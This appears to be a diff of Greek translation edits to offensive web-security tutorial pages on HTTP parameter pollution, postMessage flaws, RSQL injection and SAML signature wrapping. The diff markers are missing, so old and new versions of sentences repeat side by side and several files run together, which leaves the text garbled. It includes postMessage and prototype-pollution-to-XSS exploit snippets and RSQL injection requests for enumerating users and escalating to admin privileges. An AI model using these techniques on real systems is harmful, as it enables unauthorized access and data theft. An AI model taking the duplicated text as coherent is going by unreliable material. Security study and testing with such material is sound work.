Η HTTP Parameter Pollution (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι χειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας διαδικτυακής εφαρμογής με μη αναμενόμενους τρόπους. Αυτή η χειραγώγηση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας παραμέτρους HTTP. Η επίδραση αυτών των χειρισμών δεν είναι άμεσα ορατή στον χρήστη, αλλά μπορεί να αλλάξει σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
Η HTTP Parameter Pollution (HPP) είναι μια τεχνική όπου οι επιτιθέμενοι χειρίζονται τις παραμέτρους HTTP για να αλλάξουν τη συμπεριφορά μιας διαδικτυακής εφαρμογής με μη αναμενόμενους τρόπους. Αυτή η χειραγώγηση γίνεται προσθέτοντας, τροποποιώντας ή διπλασιάζοντας παραμέτρους HTTP. Το αποτέλεσμα αυτών των χειρισμών δεν είναι άμεσα ορατό στον χρήστη, αλλά μπορεί να αλλάξει σημαντικά τη λειτουργικότητα της εφαρμογής στην πλευρά του διακομιστή, με παρατηρήσιμες επιπτώσεις στην πλευρά του πελάτη.
### Example of HTTP Parameter Pollution (HPP)
@ -32,7 +29,7 @@
- **Συγκείμενο:** Ένας μηχανισμός σύνδεσης που απαιτεί έναν Κωδικό Μίας Χρήσης (OTP) εκμεταλλεύτηκε.
- **Μέθοδος:** Με την παρεμβολή του αιτήματος OTP χρησιμοποιώντας εργαλεία όπως το Burp Suite, οι επιτιθέμενοι διπλασίασαν την παράμετρο `email` στο αίτημα HTTP.
- **Αποτέλεσμα:** Ο OTP, που προοριζόταν για την αρχική διεύθυνση email, στάλθηκε αντί αυτού στη δεύτερη διεύθυνση email που καθορίστηκε στο χειραγωγημένο αίτημα. Αυτή η αδυναμία επέτρεψε μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το προοριζόμενο μέτρο ασφαλείας.
- **Αποτέλεσμα:** Ο OTP, που προοριζόταν για το αρχικό email, στάλθηκε αντί για αυτό στη δεύτερη διεύθυνση email που καθορίστηκε στο χειραγωγημένο αίτημα. Αυτή η αδυναμία επέτρεψε μη εξουσιοδοτημένη πρόσβαση παρακάμπτοντας το προοριζόμενο μέτρο ασφαλείας.
Αυτό το σενάριο αναδεικνύει μια κρίσιμη παράλειψη στην υποδομή της εφαρμογής, η οποία επεξεργάστηκε την πρώτη παράμετρο `email` για τη δημιουργία OTP αλλά χρησιμοποίησε την τελευταία για την παράδοση.
@ -41,20 +38,20 @@
- **Σενάριο:** Μια εφαρμογή επιτρέπει στους χρήστες να ενημερώνουν το API key τους μέσω μιας σελίδας ρυθμίσεων προφίλ.
- **Διαδρομή Επίθεσης:** Ένας επιτιθέμενος ανακαλύπτει ότι προσθέτοντας μια επιπλέον παράμετρο `api_key` στο αίτημα POST, μπορεί να χειραγωγήσει το αποτέλεσμα της λειτουργίας ενημέρωσης του API key.
- **Τεχνική:** Χρησιμοποιώντας ένα εργαλείο όπως το Burp Suite, ο επιτιθέμενος δημιουργεί ένα αίτημα που περιλαμβάνει δύο παραμέτρους `api_key`: μία νόμιμη και μία κακόβουλη. Ο διακομιστής, επεξεργαζόμενος μόνο την τελευταία εμφάνιση, ενημερώνει το API key στην τιμή που παρέχεται από τον επιτιθέμενο.
- **Αποτέλεσμα:** Ο επιτιθέμενος αποκτά έλεγχο στη λειτουργικότητα API του θύματος, ενδεχομένως αποκτώντας ή τροποποιώντας ιδιωτικά δεδομένα χωρίς εξουσιοδότηση.
- **Αποτέλεσμα:** Ο επιτιθέμενος αποκτά έλεγχο πάνω στη λειτουργικότητα API του θύματος, ενδεχομένως αποκτώντας ή τροποποιώντας ιδιωτικά δεδομένα χωρίς εξουσιοδότηση.
Αυτό το παράδειγμα υπογραμμίζει περαιτέρω την αναγκαιότητα για ασφαλή χειρισμό παραμέτρων, ειδικά σε λειτουργίες τόσο κρίσιμες όσο η διαχείριση API key.
Αυτό το παράδειγμα υπογραμμίζει περαιτέρω την αναγκαιότητα για ασφαλή διαχείριση παραμέτρων, ειδικά σε λειτουργίες τόσο κρίσιμες όσο η διαχείριση API key.
### Parameter Parsing: Flask vs. PHP
Ο τρόπος που οι διαδικτυακές τεχνολογίες χειρίζονται διπλές παραμέτρους HTTP διαφέρει, επηρεάζοντας την ευαισθησία τους σε επιθέσεις HPP:
- **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, προτιμώντας την αρχική εμφάνιση σε σχέση με τις επόμενες διπλές.
- **Flask:** Υιοθετεί την πρώτη τιμή παραμέτρου που συναντά, όπως `a=1` σε μια συμβολοσειρά ερωτήματος `a=1&a=2`, προτιμώντας την αρχική εμφάνιση από τις επόμενες διπλές.
- **PHP (σε Apache HTTP Server):** Αντίθετα, προτιμά την τελευταία τιμή παραμέτρου, επιλέγοντας `a=2` στο δεδομένο παράδειγμα. Αυτή η συμπεριφορά μπορεί ακούσια να διευκολύνει τις εκμεταλλεύσεις HPP τιμώντας την παραμετροποιημένη παράμετρο του επιτιθέμενου αντί της αρχικής.
## Parameter pollution by technology
Τα αποτελέσματα ελήφθησαν από [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
Τα αποτελέσματα προήλθαν από [https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89](https://medium.com/@0xAwali/http-parameter-pollution-in-2024-32ec1b810f89)
### PHP 8.3.11 AND Apache 2.4.62 <a href="#id-9523" id="id-9523"></a>
@ -79,7 +76,7 @@
1. POST RequestMapping == PostMapping & GET RequestMapping == GetMapping.
2. POST RequestMapping & PostMapping αναγνωρίζουν το name\[].
3. Προτιμήστε το name αν το name και το name\[] υπάρχουν.
3. Προτιμήστε το name αν υπάρχουν και name και name\[].
4. Συγκεντρώστε παραμέτρους π.χ. first,last.
5. POST RequestMapping & PostMapping αναγνωρίζουν παραμέτρους ερωτήματος με Content-Type.
@ -124,11 +121,11 @@
```ini
obj = {"test": "user", "test": "admin"}
```
Η διεπαφή χρήστη μπορεί να πιστεύει την πρώτη εμφάνιση ενώ το backend χρησιμοποιεί τη δεύτερη εμφάνιση του κλειδιού.
Η διεπαφή χρήστη μπορεί να πιστεύει την πρώτη εμφάνιση ενώ η πίσω πλευρά χρησιμοποιεί τη δεύτερη εμφάνιση του κλειδιού.
### Σύγκρουση Κλειδιών: Συντομεύσεις Χαρακτήρων και Σχόλια
### Σύγκρουση Κλειδιών: Στενότητα Χαρακτήρων και Σχόλια
Ορισμένοι χαρακτήρες δεν θα ερμηνευτούν σωστά από την διεπαφή χρήστη, αλλά το backend θα τους ερμηνεύσει και θα χρησιμοποιήσει αυτά τα κλειδιά, αυτό θα μπορούσε να είναι χρήσιμο για **να παρακαμφθούν ορισμένοι περιορισμοί**:
Ορισμένοι χαρακτήρες δεν θα ερμηνευτούν σωστά από την διεπαφή χρήστη, αλλά η πίσω πλευρά θα τους ερμηνεύσει και θα χρησιμοποιήσει αυτά τα κλειδιά, αυτό θα μπορούσε να είναι χρήσιμο για **να παρακαμφθούν ορισμένοι περιορισμοί**:
```json
{"test": 1, "test\[raw \x0d byte]": 2}
{"test": 1, "test\ud800": 2}
@ -182,13 +179,13 @@ obj = {"test": 1, "test": 2}
obj["test"] // 1
obj.toString() // {"test": 2}
```
### Float και Ακέραιος
### Float and Integer
Ο αριθμός
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
```
μπορεί να αποκωδικοποιηθεί σε πολλαπλές αναπαραστάσεις, συμπεριλαμβανομένων:
μπορεί να αποκωδικοποιηθεί σε πολλές αναπαραστάσεις, συμπεριλαμβανομένων:
```undefined
999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
9.999999999999999e95

View File

@ -1,10 +1,8 @@
# PostMessage Vulnerabilities
## PostMessage Vulnerabilities
# Ευπάθειες PostMessage
{{#include ../../banners/hacktricks-training.md}}
## Send **PostMessage**
## Στείλτε **PostMessage**
**PostMessage** χρησιμοποιεί την παρακάτω συνάρτηση για να στείλει ένα μήνυμα:
```bash
@ -80,7 +78,7 @@ false
![](<../../images/image (618) (1).png>)
- **Μεταβείτε** στο _Elements --> Event Listeners_ στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
- **Μεταβείτε** σε _Elements --> Event Listeners_ στα εργαλεία προγραμματιστή του προγράμματος περιήγησης
![](<../../images/image (396).png>)
@ -95,13 +93,13 @@ false
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
```
- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή σε regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα:
- Η μέθοδος **`search()`** από το `String.prototype.search()` προορίζεται για κανονικές εκφράσεις, όχι για συμβολοσειρές. Η παράδοση οτιδήποτε άλλο εκτός από μια regexp οδηγεί σε έμμεση μετατροπή σε regex, καθιστώντας τη μέθοδο δυνητικά ανασφαλή. Αυτό συμβαίνει επειδή στο regex, μια τελεία (.) λειτουργεί ως χαρακτήρας μπαλαντέρ, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά κατασκευασμένα domains. Για παράδειγμα:
```javascript
"https://www.safedomain.com".search("www.s.fedomain.com")
```
- Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη.
- Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν το regex είναι κακώς δομημένο, μπορεί να είναι επιρρεπές σε παράκαμψη.
- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:
- Αναμενόμενη Αποτυχία:
@ -120,9 +118,9 @@ result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"
```
Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της ιδιότητας `name` που είναι μόνο για ανάγνωση. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας.
Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο `File` είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της μόνο για ανάγνωση ιδιότητας `name`. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε πρότυπα, δεν καθαρίζεται από τη συνάρτηση `escapeHtml`, οδηγώντας σε δυνητικούς κινδύνους ασφαλείας.
- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει την προέλευση, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής προέλευσης.
- Η ιδιότητα `document.domain` στην JavaScript μπορεί να οριστεί από ένα σενάριο για να συντομεύσει το domain, επιτρέποντας πιο χαλαρή επιβολή πολιτικής ίδιας προέλευσης εντός της ίδιας γονικής τοποθεσίας.
### Παράκαμψη e.origin == window.origin
@ -158,36 +156,36 @@ bypassing-sop-with-iframes-2.md
### Παράκαμψη X-Frame-Header
Για να εκτελέσετε αυτές τις επιθέσεις, ιδανικά θα πρέπει να μπορείτε να **τοποθετήσετε τη σελίδα του θύματος** μέσα σε ένα `iframe`. Αλλά ορισμένα headers όπως το `X-Frame-Header` μπορούν να **αποτρέψουν** αυτή τη **συμπεριφορά**.\
Σε αυτές τις περιπτώσεις, μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
Σε αυτές τις περιπτώσεις μπορείτε να χρησιμοποιήσετε μια λιγότερο διακριτική επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα στην ευάλωτη διαδικτυακή εφαρμογή και να επικοινωνήσετε μαζί της:
```html
<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>
```
### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα
### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας τη κύρια σελίδα
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε **ευαίσθητα δεδομένα postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν παραληφθούν:
Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε δεδομένα **ευαίσθητης postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας τη **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά παραληφθούν:
{{#ref}}
blocking-main-page-to-steal-postmessage.md
{{#endref}}
### Κλοπή μηνύματος τροποποιώντας τη διεύθυνση του iframe
### Κλοπή μηνύματος τροποποιώντας τη θέση του iframe
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να **αλλάξετε τη διεύθυνση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να **αλλάξετε τη θέση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
{{#ref}}
steal-postmessage-modifying-iframe-location.md
{{#endref}}
### postMessage για Prototype Pollution και/ή XSS
### postMessage σε Prototype Pollution και/ή XSS
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** την **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`.
Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** τη **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`.
Μερικά **πολύ καλά εξηγημένα XSS μέσω `postMessage`** μπορούν να βρεθούν στο [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε **Prototype Pollution και στη συνέχεια XSS** μέσω ενός `postMessage` σε ένα `iframe`:
Παράδειγμα μιας εκμετάλλευσης για να εκμεταλλευτείτε την **Προτοτυπική Ρύπανση και στη συνέχεια XSS** μέσω ενός `postMessage` σε ένα `iframe`:
```html
<html>
<body>
@ -214,9 +212,9 @@ setTimeout(get_code, 2000)
```
Για **περισσότερες πληροφορίες**:
- Σύνδεσμος στη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Σύνδεσμος στη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/index.html)
- Σύνδεσμος στη σελίδα σχετικά με [**μόλυνση πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
- Σύνδεσμος προς τη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/index.html)
- Σύνδεσμος προς τη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/index.html)
- Σύνδεσμος προς τη σελίδα σχετικά με [**μόλυνση πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
## Αναφορές

View File

@ -1,13 +1,9 @@
# RSQL Injection
## RSQL Injection
{{#include ../banners/hacktricks-training.md}}
## RSQL Injection
## Τι είναι το RSQL;
Το RSQL είναι μια γλώσσα ερωτημάτων σχεδιασμένη για παραμετροποιημένο φιλτράρισμα εισροών σε RESTful APIs. Βασισμένο στο FIQL (Feed Item Query Language), που αρχικά καθορίστηκε από τον Mark Nottingham για την αναζήτηση Atom feeds, το RSQL ξεχωρίζει για την απλότητά του και την ικανότητά του να εκφράζει σύνθετα ερωτήματα με συμπαγή και συμβατό τρόπο με URI μέσω HTTP. Αυτό το καθιστά εξαιρετική επιλογή ως γενική γλώσσα ερωτημάτων για την αναζήτηση σημείων REST.
Το RSQL είναι μια γλώσσα ερωτημάτων σχεδιασμένη για παραμετροποιημένο φιλτράρισμα εισροών σε RESTful APIs. Βασισμένο στο FIQL (Feed Item Query Language), που αρχικά καθορίστηκε από τον Mark Nottingham για την αναζήτηση Atom feeds, το RSQL ξεχωρίζει για την απλότητά του και την ικανότητά του να εκφράζει σύνθετα ερωτήματα με συμπαγή και συμβατό τρόπο με URI μέσω HTTP. Αυτό το καθιστά εξαιρετική επιλογή ως γενική γλώσσα ερωτημάτων για αναζητήσεις σε REST endpoints.
## Επισκόπηση
Η RSQL Injection είναι μια ευπάθεια σε διαδικτυακές εφαρμογές που χρησιμοποιούν το RSQL ως γλώσσα ερωτημάτων σε RESTful APIs. Παρόμοια με την [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) και την [LDAP Injection](https://owasp.org/www-community/attacks/LDAP_Injection), αυτή η ευπάθεια συμβαίνει όταν τα φίλτρα RSQL δεν είναι σωστά καθαρισμένα, επιτρέποντας σε έναν επιτιθέμενο να εισάγει κακόβουλα ερωτήματα για να αποκτήσει, να τροποποιήσει ή να διαγράψει δεδομένα χωρίς εξουσιοδότηση.
@ -30,7 +26,7 @@
- **Τροποποίηση ή διαγραφή δεδομένων:** Εισαγωγή φίλτρων που αλλοιώνουν τις εγγραφές της βάσης δεδομένων.
- **Αύξηση προνομίων:** Χειρισμός αναγνωριστικών που παρέχουν ρόλους μέσω φίλτρων για να παραπλανήσουν την εφαρμογή αποκτώντας πρόσβαση με προνόμια άλλων χρηστών.
- **Αποφυγή ελέγχων πρόσβασης:** Χειρισμός φίλτρων για πρόσβαση σε περιορισμένα δεδομένα.
- **Ψευδής ταυτοποίηση ή IDOR:** Τροποποίηση αναγνωριστικών μεταξύ χρηστών μέσω φίλτρων που επιτρέπουν πρόσβαση σε πληροφορίες και πόρους άλλων χρηστών χωρίς να είναι σωστά πιστοποιημένοι ως τέτοιοι.
- **Ψευδώνυμο ή IDOR:** Τροποποίηση αναγνωριστικών μεταξύ χρηστών μέσω φίλτρων που επιτρέπουν πρόσβαση σε πληροφορίες και πόρους άλλων χρηστών χωρίς να είναι σωστά πιστοποιημένοι ως τέτοιοι.
## Υποστηριζόμενοι RSQL τελεστές
| Τελεστής | Περιγραφή | Παράδειγμα |
@ -88,8 +84,8 @@
| `search` | Εκτελεί μια πιο ευέλικτη αναζήτηση | `/api/v2/posts?search=technology` |
## Διαρροή πληροφοριών και αρίθμηση χρηστών
Το παρακάτω αίτημα δείχνει ένα endpoint εγγραφής που απαιτεί την παράμετρο email για να ελέγξει αν υπάρχει κάποιος χρήστης εγγεγραμμένος με αυτό το email και να επιστρέψει αληθές ή ψευδές ανάλογα με το αν υπάρχει ή όχι στη βάση δεδομένων:
### Αίτημα
Η παρακάτω αίτηση δείχνει ένα endpoint εγγραφής που απαιτεί την παράμετρο email για να ελέγξει αν υπάρχει οποιοσδήποτε χρήστης εγγεγραμμένος με αυτό το email και να επιστρέψει αληθές ή ψευδές ανάλογα με το αν υπάρχει ή όχι στη βάση δεδομένων:
### Αίτηση
```
GET /api/registrations HTTP/1.1
Host: localhost:3000
@ -125,7 +121,7 @@ Content-Length: 85
}]
}
```
Αν και αναμένεται ένα `/api/registrations?email=<emailAccount>`, είναι δυνατόν να χρησιμοποιηθούν φίλτρα RSQL για να προσπαθήσετε να καταγράψετε και/ή να εξαγάγετε πληροφορίες χρηστών μέσω της χρήσης ειδικών τελεστών:
Αν και αναμένεται ένα `/api/registrations?email=<emailAccount>`, είναι δυνατόν να χρησιμοποιηθούν φίλτρα RSQL για να προσπαθήσουν να καταγράψουν και/ή να εξάγουν πληροφορίες χρηστών μέσω της χρήσης ειδικών τελεστών:
### Request
```
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
@ -208,8 +204,8 @@ Access-Control-Allow-Origin: *
}
}
```
## Εξαίρεση εξουσιοδότησης
Σε αυτό το σενάριο, ξεκινάμε από έναν χρήστη με βασικό ρόλο και στον οποίο δεν έχουμε προνομιακές άδειες (π.χ. διαχειριστής) για να αποκτήσουμε πρόσβαση στη λίστα όλων των χρηστών που είναι εγγεγραμμένοι στη βάση δεδομένων:
## Εξαπάτηση εξουσιοδότησης
Σε αυτό το σενάριο, ξεκινάμε από έναν χρήστη με βασικό ρόλο και στον οποίο δεν έχουμε προνομιακές άδειες (π.χ. διαχειριστής) για να αποκτήσουμε πρόσβαση στη λίστα όλων των χρηστών που είναι καταχωρημένοι στη βάση δεδομένων:
### Αίτημα
```
GET /api/users HTTP/1.1
@ -365,23 +361,7 @@ Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
```
### Αντίκτυπος
Η RSQL Injection είναι μια τεχνική που επιτρέπει στους επιτιθέμενους να εκτελούν αυθαίρετες εντολές SQL σε μια βάση δεδομένων μέσω μιας ευάλωτης εφαρμογής. Αυτή η τεχνική εκμεταλλεύεται την αδυναμία της εφαρμογής να επικυρώσει σωστά τις εισόδους του χρήστη.
#### Πώς λειτουργεί
Η RSQL Injection εκμεταλλεύεται την ελλιπή επικύρωση των παραμέτρων που αποστέλλονται στην εφαρμογή. Όταν οι παράμετροι αυτοί χρησιμοποιούνται για τη δημιουργία ερωτημάτων SQL, οι επιτιθέμενοι μπορούν να εισάγουν κακόβουλο κώδικα SQL, ο οποίος μπορεί να οδηγήσει σε διαρροή δεδομένων ή ακόμα και σε πλήρη έλεγχο της βάσης δεδομένων.
#### Προστασία
Για να προστατευθείτε από την RSQL Injection, είναι σημαντικό να:
1. Χρησιμοποιείτε παραμετροποιημένα ερωτήματα.
2. Επικυρώνετε και φιλτράρετε όλες τις εισόδους του χρήστη.
3. Εφαρμόζετε περιορισμούς στα δικαιώματα πρόσβασης στη βάση δεδομένων.
Αυτές οι πρακτικές μπορούν να μειώσουν σημαντικά τον κίνδυνο επιθέσεων RSQL Injection.
### Απόκριση
```
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
@ -411,7 +391,7 @@ Access-Control-Allow-Origin: *
}]
}
```
Μετά την αναγνώριση ενός αναγνωριστικού ενός χρήστη διαχειριστή, θα ήταν δυνατό να εκμεταλλευτεί κανείς μια κλιμάκωση προνομίων αντικαθιστώντας ή προσθέτοντας το αντίστοιχο φίλτρο με το αναγνωριστικό του διαχειριστή και αποκτώντας τα ίδια προνόμια:
Μετά την αναγνώριση ενός αναγνωριστικού ενός χρήστη διαχειριστή, θα ήταν δυνατό να εκμεταλλευτούμε μια κλιμάκωση προνομίων αντικαθιστώντας ή προσθέτοντας το αντίστοιχο φίλτρο με το αναγνωριστικό του διαχειριστή και αποκτώντας τα ίδια προνόμια:
### Request
```
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
@ -475,7 +455,7 @@ Access-Control-Allow-Origin: *
.......
```
## Υποκατάσταση ή Αναφορές Άμεσων Αντικειμένων χωρίς Ασφάλεια (IDOR)
Εκτός από τη χρήση της παραμέτρου `filter`, είναι δυνατή η χρήση άλλων παραμέτρων όπως η `include`, η οποία επιτρέπει την συμπερίληψη στο αποτέλεσμα ορισμένων παραμέτρων (π.χ. γλώσσα, χώρα, κωδικός πρόσβασης...).
Εκτός από τη χρήση της παραμέτρου `filter`, είναι δυνατή η χρήση άλλων παραμέτρων όπως η `include`, η οποία επιτρέπει την συμπερίληψη ορισμένων παραμέτρων στο αποτέλεσμα (π.χ. γλώσσα, χώρα, κωδικός πρόσβασης...).
Στο παρακάτω παράδειγμα, εμφανίζεται η πληροφορία του προφίλ του χρήστη μας:
### Request

View File

@ -1,7 +1,5 @@
# SAML Attacks
## SAML Attacks
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
@ -53,9 +51,9 @@ First child after round-trip: Z
## Επιθέσεις XML Signature Wrapping
Στις **επιθέσεις XML Signature Wrapping (XSW)**, οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: **επικύρωση υπογραφής** και **κλήση λειτουργίας**. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος **εισάγει πλαστά στοιχεία** που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη **λογική εφαρμογής** και εκείνων που ελέγχονται από το **module επαλήθευσης υπογραφής**. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα **παράνομα στοιχεία**. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την **προστασία ακεραιότητας** και την **αυθεντικότητα προέλευσης** της XML υπογραφής, επιτρέποντας την **εισαγωγή αυθαίρετου περιεχομένου** χωρίς ανίχνευση.
Στις **επιθέσεις XML Signature Wrapping (XSW)**, οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: **επικύρωση υπογραφής** και **κλήση λειτουργίας**. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος **εισάγει πλαστά στοιχεία** που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη **λογική εφαρμογής** και εκείνων που ελέγχονται από το **module επαλήθευσης υπογραφής**. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα **πλαστά στοιχεία**. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την **προστασία ακεραιότητας** και την **αυθεντικότητα προέλευσης** της XML υπογραφής, επιτρέποντας την **εισαγωγή αυθαίρετου περιεχομένου** χωρίς ανίχνευση.
Οι παρακάτω επιθέσεις βασίζονται [**σε αυτήν την ανάρτηση ιστολογίου**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **και** [**σε αυτό το έγγραφο**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Έτσι, ελέγξτε τα για περισσότερες λεπτομέρειες.
Οι παρακάτω επιθέσεις βασίζονται σε [**αυτήν την ανάρτηση στο blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **και** [**αυτήν την εργασία**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Έτσι, ελέγξτε αυτές για περισσότερες λεπτομέρειες.
### XSW #1
@ -66,8 +64,8 @@ First child after round-trip: Z
### XSW #2
- **Διαφορά από το XSW #1**: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιλαμβανόμενη υπογραφή.
- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά τον έλεγχο ακεραιότητας.
- **Διαφορά από το XSW #1**: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιβάλλουσα υπογραφή.
